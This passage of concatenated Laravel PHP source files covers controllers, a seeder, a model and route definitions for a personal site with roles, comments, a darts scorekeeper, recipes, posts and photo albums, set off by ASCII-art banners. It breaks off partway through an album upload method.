███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateRoleRequest $request) { $role = new Role; $role->id = $request->id; $role->name = $request->name; $role->display_name = $request->display_name; $role->description = $request->description; $role->save(); Session::flash('success','Role created successfully!'); return redirect()->route('roles.index'); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { $role = Role::findOrFail($id); return view('roles.show', compact('role')); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { $role = Role::findOrFail($id); return view('roles.edit', compact('role')); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateRoleRequest $request, $id) { // if(!checkACL('manager')) { // return view('errors.403'); // } // Get the user from the database $role = Role::findOrFail($id); $role->id = $request->input('id'); $role->name = $request->input('name'); $role->display_name = $request->input('display_name'); $role->description = $request->input('description'); // Save the data to the database $role->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED user (" . $user->id . ")\r\n", [$user = json_decode($user, true)]); // Set flash data with success message Session::flash ('success', 'The role was successfully updated!'); // Redirect to posts.show return redirect()->route('roles.index'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } $role = Role::findOrFail($id); // Delete role from Roles table $role->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED category (" . $category->id . ")\r\n", [$category = json_decode($category, true)]); Session::flash('success', 'The role has successfully been deleted!'); return redirect()->route('roles.index'); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██████╗ ██████╗ ██╗ ███████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██╔═══██╗██║ ██╔════╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██████╔╝██║ ██║██║ █████╗ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔══██╗██║ ██║██║ ██╔══╝ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║╚██████╔╝███████╗███████╗███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newRoles(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('roles') ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $roles = Role::newRoles() ->where('name', 'like', $key . '%') ->get(); return view('roles.newRoles', compact('roles','letters')); } $roles = Role::newRoles()->get(); return view('roles.newRoles', compact('roles','letters')); } } <file_sep><?php use Illuminate\Database\Seeder; class RolesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('roles')->insert([ 'id' => 10, 'name' => 'superadmin', 'display_name' => 'Super Administrator', 'description' => 'All privileges', ]); DB::table('roles')->insert([ 'id' => 20, 'name' => 'admin', 'display_name' => 'Administrator', 'description' => 'Administrator of the site', ]); DB::table('roles')->insert([ 'id' => 30, 'name' => 'manager', 'display_name' => 'Manager', 'description' => 'Profile, View, Create, Edit, Publish, Import/Export, Delete', ]); DB::table('roles')->insert([ 'id' => 40, 'name' => 'publisher', 'display_name' => 'Publisher', 'description' => 'Profile, View, Create, Edit, Publish, Import/Export', ]); DB::table('roles')->insert([ 'id' => 50, 'name' => 'editor', 'display_name' => 'Editor', 'description' => 'Profile, View, Create, Edit', ]); DB::table('roles')->insert([ 'id' => 55, 'name' => 'timeTracker', 'display_name' => 'Special - Luc', 'description' => 'Special', ]); DB::table('roles')->insert([ 'id' => 60, 'name' => 'author', 'display_name' => 'Author', 'description' => 'Profile, View, Create', ]); DB::table('roles')->insert([ 'id' => 70, 'name' => 'user', 'display_name' => 'User', 'description' => 'Profile, View', ]); DB::table('roles')->insert([ 'id' => 80, 'name' => 'guest', 'display_name' => 'Authenticated User', 'description' => 'Guest -> View only', ]); } } <file_sep><?php namespace App\Http\Controllers\Darts; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use DB; use Session; use App\User; use App\Dart; use App\DartScore; class GamesController extends Controller { public function index() { return view('darts.index'); } public function create() { $users = User::with('profile')->where('id', '!=', 1)->orderby('username','asc')->get(); return view('darts.games.create', compact('users')); } public function store(Request $request) { // validate the data $this->validate($request, [ 'type' => 'required', ]); $game = new Dart; $game->type = $request->type; $game->status = 'New'; $game->save(); Session::flash('success','The game has been created.'); return redirect()->route('darts.games.selectTeamsOrPlayers', $game->id); } public function selectTeamsOrPlayers($game_id) { $game = Dart::find($game_id); return view('darts.games.selectTeamsOrPlayers', compact('game')); } public function storeTeamsOrPlayers(Request $request) { $game = Dart::find($request->game_id); if($request->t_players) { $game->t1_players = $request->t_players; $game->t2_players = $request->t_players; $game->ind_players = null; } if($request->ind_players){ $game->t1_players = null; $game->t2_players = null; $game->ind_players = $request->ind_players; } $game->save(); Session::flash('success','The game has been created.'); if($request->t_players) { return redirect()->route('darts.games.selectTeamPlayers', $game->id); } else { return redirect()->route('darts.games.selectPlayers', $game->id); } } // Select players when team play is selected public function selectTeamPlayers($game_id) { $game = Dart::find($game_id); $players = User::with('profile')->where('id', '!=', 1)->orderby('username', 'asc')->get(); return view('darts.games.selectTeamPlayers', compact('players','game')); } // Save players when team play is selected public function storeTeamPlayers(Request $request) { $game = Dart::find($request->game_id); if (isset($request->team1players)) { $shotOrder = 1; foreach($request->team1players as $player) { DB::insert('insert into dartgame_user (dartgame_id, team_id, user_id, shooting_order) values (?, ?, ?, ?)', [$game->id, 1, $player, $shotOrder]); $shotOrder = $shotOrder + 2; } } if (isset($request->team2players)) { $shotOrder = 2; foreach($request->team2players as $player) { DB::insert('insert into dartgame_user (dartgame_id, team_id, user_id, shooting_order) values (?, ?, ?, ?)', [$game->id, 2, $player, $shotOrder]); $shotOrder = $shotOrder + 2; } } Session::flash('success','The game has been created.'); return redirect()->route('darts.games.board'); } // Select individual players when no team play is selected public function selectPlayers($game_id) { $game = Dart::find($game_id); $players = User::with('profile')->where('id', '!=', 1)->orderby('username', 'asc')->get(); return view('darts.games.selectPlayers', compact('players','game')); } // Save individual players when no team play is selected public function storePlayers(Request $request) { $game = Dart::find($request->game_id); $shotOrder = 1; foreach($request->players as $player) { DB::insert('insert into dartgame_user (dartgame_id, user_id, shooting_order) values (?, ?, ?)', [$request->game_id, $player, $shotOrder]); $shotOrder = $shotOrder + 1; } Session::flash('success','The game has been created.'); return redirect()->route('darts.games.board'); } public function destroy($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } $game = Dart::find($id); $game->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED category (" . $category->id . ")\r\n", [$category = json_decode($category, true)]); Session::flash('success', 'The game and related entries were successfully deleted!'); return redirect()->route('darts.games.board'); } public function board() { $games = Dart::orderby('id','desc')->get(); return view('darts.games.board', compact('games')); } }<file_sep><?php namespace App\Http\Controllers\Backend; //use Illuminate\Http\Request; //use App\Http\Requests; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use App\Comment; use App\Post; use DB; use Session; use Log; use Auth; //use Request; use App\Http\Requests\CreateCommentRequest; use App\Http\Requests\UpdateCommentRequest; class CommentsController extends Controller { public function __construct() { $this->middleware('auth', ['except' => 'store']); //Log::useFiles(storage_path().'/logs/comments.log'); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access the index page"); // return view('errors.403'); // } // $categories = Category::orderBy('name')->get(); $comments = Comment::all(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Admin / Categories / Index"); return view ('backend.comments.index', compact('comments')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(CreateCommentRequest $request, $post_id) { $post = Post::find($post_id); $comment = new Comment(); $comment->name = $request->name; $comment->email = $request->email; $comment->comment = $request->comment; $comment->approved = true; $comment->post()->associate($post); $comment->save(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // } else { // Log::info(Request::ip() . " commented on post " . $post->id); // } Session::flash('success', 'Comment was added'); return redirect()->route('frontend.blog.single', [$post->slug]); } public function show($id) { //dd($id); $comment = Comment::find($id); //dd($comment); //$nid = $comment->post_id; //dd($nid); return view('backend.comments.show')->withComment($comment); //return view('backend.comments.show', compact('comment')); // return redirect()->route('backend.comments.show', compact('comment')); // return redirect()->route('backend.comments.index'); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $comment = Comment::find($id); return view('backend.comments.edit')->withComment($comment); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(UpdateCommentRequest $request, $id) { $comment = Comment::find($id); $comment->name = $request->name; $comment->email = $request->email; $comment->comment = $request->comment; $comment->save(); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED comment (" . $comment->id . ")\r\n", // [json_decode($comment, true)] // ); Session::flash('success', 'Comment updated successfully.'); return redirect()->route('backend.comments.index'); } public function delete($id) { $comment = Comment::find($id); return view('backend.comments.delete')->withComment($comment); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $comment = Comment::find($id); //$post_id = $comment->post->id; $comment->delete(); // Save entry to log file using built-in Monolog // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED comment (" . $comment->id . ")\r\n", // [json_decode($comment, true)] // ); Session::flash('success', 'Comment Deleted'); return redirect()->route('backend.comments.index'); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██████╗ ██████╗ ███╗ ███╗███╗ ███╗███████╗███╗ ██╗████████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██╔════╝████╗ ██║╚══██╔══╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██║ ██║ ██║██╔████╔██║██╔████╔██║█████╗ ██╔██╗ ██║ ██║ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██║ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║ ██║ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ╚████║ ██║ ███████║ # ═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newComments(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); // $alphas = DB::table('comments') // ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) // ->where('created_at', '>=' , Auth::user()->last_login_date) // //->where('user_id', '=', Auth::user()->id) // // ->where('personal', '!=', 1) // // ->where('published_at','!=', null) // ->orderBy('letter') // ->get(); // //dd($alphas); // $letters = []; // foreach($alphas as $alpha) { // $letters[] = $alpha->letter; // } // If $key value is passed // if ($key) { // $comments = Comment::newComments() // ->where('name', 'like', $key . '%') // ->get(); // return view('backend.comments.newComments', compact('comments','letters')); // } // if(!checkACL('manager')) { // // Save entry to log file of failure // Log::warning(Auth::user()->username . " (" . Auth::user()->id . ") tried to access the index page"); // return view('errors.403'); // } // $categories = Category::orderBy('name')->get(); $comments = Comment::where('created_at', '>=' , Auth::user()->last_login_date)->get(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") accessed :: Admin / Categories / Index"); // return view ('backend.comments.index', compact('comments')); // } //$comments = Comment::newComments()->get(); return view('backend.comments.newComments', compact('comments')); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; class DartScore extends Model { protected $table = "dartscores"; protected $fillable = [ 'user_id', 'team_id', 'game_id', 'score', 'remaining' ]; public function user() { return $this->belongsTo('App\User'); } public function team1players() { return $this->hasMany('App\User'); } public function team2players() { return $this->hasMany('App\User'); } } <file_sep><?php Route::get('darts', 'DartsController@index')->name('darts.index'); Route::get('darts/games/board', 'DartsController@board')->name('darts.games.board'); Route::get('darts/games/selectTeamsOrPlayers/{gameID}', 'DartsController@selectTeamsOrPlayers')->name('darts.games.selectTeamsOrPlayers'); Route::post('darts/games/storeTeamsOrPlayers', 'DartsController@storeTeamsOrPlayers')->name('darts.games.storeTeamsOrPlayers'); Route::get('darts/games/selectTeamPlayers/{game_ID}', 'DartsController@selectTeamPlayers') ->name('darts.games.selectTeamPlayers'); Route::post('darts/games/storeTeamPlayers', 'DartsController@storeTeamPlayers') ->name('darts.games.storeTeamPlayers'); Route::get('darts/games/selectPlayers/{game_ID}', 'DartsController@selectPlayers') ->name('darts.games.selectPlayers'); Route::post('darts/games/storePlayers', 'DartsController@storePlayers') ->name('darts.games.storePlayers'); Route::get('darts/games/create/', 'Darts\GamesController@create') ->name('darts.game.create'); Route::post('darts/games/', 'Darts\GamesController@store') ->name('darts.games.store'); Route::get('darts/games/{id}/show', 'Darts\GamesController@show') ->name('darts.games.show'); Route::get('darts/games/{key?}', 'Darts\GamesController@index') ->name('darts.games.index'); Route::get('darts/games/{id}/edit', 'Darts\GamesController@edit') ->name('darts.games.edit'); Route::put('darts/games/{id}', 'Darts\GamesController@update') ->name('darts.games.update'); Route::delete('darts/games/{id}', 'Darts\GamesController@destroy') ->name('darts.games.destroy'); Route::get('darts/01/scores/teams/{id}', 'Darts\ZeroOne\Teams\ScoresController@index') ->name('darts.01.scores.teams.index'); Route::post('darts/01/scores/teams/store', 'Darts\ZeroOne\Teams\ScoresController@store') ->name('darts.01.scores.teams.store'); Route::get('darts/01/scores/players/{id}', 'Darts\ZeroOne\Players\ScoresController@index') ->name('darts.01.scores.players.index'); Route::post('darts/01/scores/players/store', 'Darts\ZeroOne\Players\ScoresController@store') ->name('darts.01.scores.players.store'); Route::get('darts/cricket/scores/teams/{id}', 'Darts\Cricket\Teams\ScoresController@cricketTeamIndex') ->name('darts.cricket.scores.teams.index'); Route::get('darts/cricket/scores/players/{id}', 'Darts\Cricket\Players\ScoresController@etPlayerIndex') ->name('darts.cricket.scores.players.index'); <file_sep><?php // RECIPES // Route::get('recipe/{id}', ['uses'=>'RecipesController@show', 'as'=>'recipes.show']); Route::group(['prefix' => 'recipes'], function() { Route::get('unpublished/{key?}', 'RecipesController@unpublished') ->name('recipes.unpublished'); //Route::get('published/{key?}', 'RecipesController@published') ->name('recipes.published'); Route::get('future/{key?}', 'RecipesController@future') ->name('recipes.future'); Route::get('myRecipes/{key?}', 'RecipesController@myRecipes') ->name('recipes.myRecipes'); Route::get('myFavorites', 'RecipesController@myFavorites') ->name('recipes.myFavorites'); Route::get('newRecipes/{key?}', 'RecipesController@newRecipes') ->name('recipes.newRecipes'); Route::get('trashed/{key?}', 'RecipesController@trashed') ->name('recipes.trashed'); Route::get('import', 'RecipesController@import') ->name('recipes.import'); Route::get('pdfview', 'RecipesController@pdfview') ->name('recipes.pdfview'); Route::get('create', 'RecipesController@create') ->name('recipes.create'); Route::post('store', 'RecipesController@store') ->name('recipes.store'); Route::get('{id}/show', 'RecipesController@show') ->name('recipes.show'); Route::get('{id?}', 'RecipesController@index') ->name('recipes.index'); Route::get('{id}/edit', 'RecipesController@edit') ->name('recipes.edit'); Route::put('{id}', 'RecipesController@update') ->name('recipes.update'); Route::delete('{id}', 'RecipesController@destroy') ->name('recipes.destroy'); Route::get('{id}/print', 'RecipesController@print') ->name('recipes.print'); Route::get('{id}/publish', 'RecipesController@publish') ->name('recipes.publish'); Route::get('{id}/resetViews', 'RecipesController@resetViews') ->name('recipes.resetViews'); Route::post('publishAll', 'RecipesController@publishAll') ->name('recipes.publishAll'); Route::get('{id}/unpublish', 'RecipesController@unpublish') ->name('recipes.unpublish'); Route::post('unpublishAll', 'RecipesController@unpublishAll') ->name('recipes.unpublishAll'); Route::post('importExcel', 'RecipesController@importExcel') ->name('recipes.importExport'); Route::get('downloadExcel/{type}', 'RecipesController@downloadExcel') ->name('recipes.downloadExcel'); Route::get('restore/{id}', 'RecipesController@restore') ->name('recipes.restore'); Route::post('restoreAll', 'RecipesController@restoreAll') ->name('recipes.restoreAll'); Route::get('showTrashed/{id}', 'RecipesController@showTrashed') ->name('recipes.showTrashed'); Route::post('trashAll', 'RecipesController@trashAll') ->name('recipes.trashAll'); Route::delete('deleteTrashed/{id}', 'RecipesController@deleteTrashed') ->name('recipes.deleteTrashed'); Route::post('deleteAll', 'RecipesController@deleteAll') ->name('recipes.deleteAll'); Route::get('{id}/addFavorite', 'RecipesController@addFavorite') ->name('recipes.addFavorite'); Route::get('{id}/removeFavorite', 'RecipesController@removeFavorite') ->name('recipes.removeFavorite'); Route::get('{id}/makePrivate', 'RecipesController@makePrivate') ->name('recipes.makePrivate'); Route::get('{id}/removePrivate', 'RecipesController@removePrivate') ->name('recipes.removePrivate'); Route::get('{id}/duplicate', 'RecipesController@duplicate') ->name('recipes.duplicate'); Route::post('{id}/storeComment', 'RecipesController@storeComment') ->name('recipes.storeComment'); Route::get('{year}/{month}', 'RecipesController@archive') ->name('recipes.archive'); }); <file_sep><?php // POSTS Route::get('post/{id}', ['uses' => 'PostsController@show', 'as' => 'posts.show']); Route::group(['prefix'=>'posts'], function() { $c = 'PostsController@'; $r = 'posts.'; Route::get('newPosts', ['uses' => $c . 'newPosts', 'as' => $r . 'newPosts']); Route::get('create', ['uses' => $c . 'create', 'as' => $r . 'create']); Route::post('store', ['uses' => $c . 'store', 'as' => $r . 'store']); Route::get('{key?}', ['uses' => $c . 'index', 'as' => $r . 'index']); Route::get('{id}/edit', ['uses' => $c . 'edit', 'as' => $r . 'edit']); Route::put('{id}', ['uses' => $c . 'update', 'as' => $r . 'update']); Route::delete('{id}', ['uses' => $c . 'destroy', 'as' => $r . 'destroy']); }); <file_sep><?php // PHOTOS // Route::group(['prefix'=>'backend/photos'], function() // { // $c = 'Backend\PhotosController@'; // $r = 'backend.photos.'; // Route::get('create/{album_id}', ['uses' => $c . 'create', 'as' => $r . 'create']); // Route::post('store', ['uses' => $c . 'store', 'as' => $r . 'store']); // Route::get('{id}', ['uses' => $c . 'show', 'as' => $r . 'show']); // Route::delete('{id}', ['uses' => $c . 'destroy', 'as' => $r . 'delete']); // });<file_sep><?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Storage; use App\Album; use App\Photo; use Session; use Image; use File; use DB; use Auth; use App\Http\Requests\CreateAlbumRequest; use App\Http\Requests\UpdateAlbumRequest; class AlbumsController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end // $this->middleware('auth'); $this->middleware('auth', ['except'=>['index', 'show']]); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { return view('albums.create'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { $album = Album::find($id); //dd($album); foreach($album->photos as $photo) { unlink(public_path('_albums/images/' . $album->id . "/" . $photo->new_name)); unlink(public_path('_albums/images/thumbs/' . $album->id . "/" . $photo->new_name)); //Delete the photos of this album from the database $photo->delete(); } // Delete the album cover image and it's thumbnail unlink(public_path('_albums/cover_images/' . $album->cover_image)); unlink(public_path('_albums/cover_images/thumbs/' . $album->cover_image)); // Delete the IMAGES/THUMBS folder matching the album id File::deleteDirectory(public_path('_albums/images/thumbs/' . $album->id)); // Delete the IMAGES folder matching the album id File::deleteDirectory(public_path('_albums/images/' . $album->id)); //Delete the album from the database $album->delete(); Session::flash('success','Album and images deleted.'); return redirect()->route('albums.index'); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { if(!checkACL('author')) { return view('errors.403'); } // Find the article to edit $album = Album::findOrFail($id); // find all categories in the categories table and pass them to the view //$categories = Category::whereHas('module', function ($query) { // $query->where('name', '=', 'articles'); //})->get(); // Create an empty array to store the categories //$cats = []; // Store the category values into the $cats array //foreach ($categories as $category) { // $cats[$category->id] = $category->name; // } return view('albums.edit', compact('album')); } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { $albums = Album::with('Photos')->paginate(8); //return view('backend.albums.index')->with('albums', $albums); return view('albums.index', compact('albums')); } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ █████╗ ██╗ ██████╗ ██╗ ██╗███╗ ███╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██║ ██╔══██╗██║ ██║████╗ ████║██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ███████║██║ ██████╔╝██║ ██║██╔████╔██║███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔══██║██║ ██╔══██╗██║ ██║██║╚██╔╝██║╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║███████╗██████╔╝╚██████╔╝██║ ╚═╝ ██║███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newAlbums(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('albums') ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { // $albums = Album::with('photos','category')->newAlbums() $albums = Album::with('photos')->newAlbums() ->where('title', 'like', $key . '%') ->get(); return view('albums.newAlbums', compact('albums','letters')); } // $albums = Album::with('photos','category')->newAlbums()->get(); $albums = Album::with('photos')->newAlbums()->get(); return view('albums.newAlbums', compact('albums','letters')); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { $album = Album::with('Photos')->find($id); return view('albums.show', compact('album')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## // public function store(Request $request) { public function store(CreateAlbumRequest $request) { // Get the file object $file = $request->file('cover_image'); // Get file name with extension $filenameWithExt = $request->file('cover_image')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('cover_image')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //return $filenameToStore; // Check if Gallery/Images folders exists if (!file_exists('_albums/cover_images')) { mkdir('_albums/cover_images', 0777, true); } // move the file to the correct location $file->move('_albums/cover_images', $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_albums/cover_images/thumbs')) { mkdir('_albums/cover_images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_albums/cover_images/' . $filenameToStore) ->resize(240,160) ->save('_albums/cover_images/thumbs/' . $filenameToStore, 60); //Create album $album = new Album; $album->name = $request->input('name'); $album->description = $request->input('description'); $album->cover_image = $filenameToStore; $album->save(); 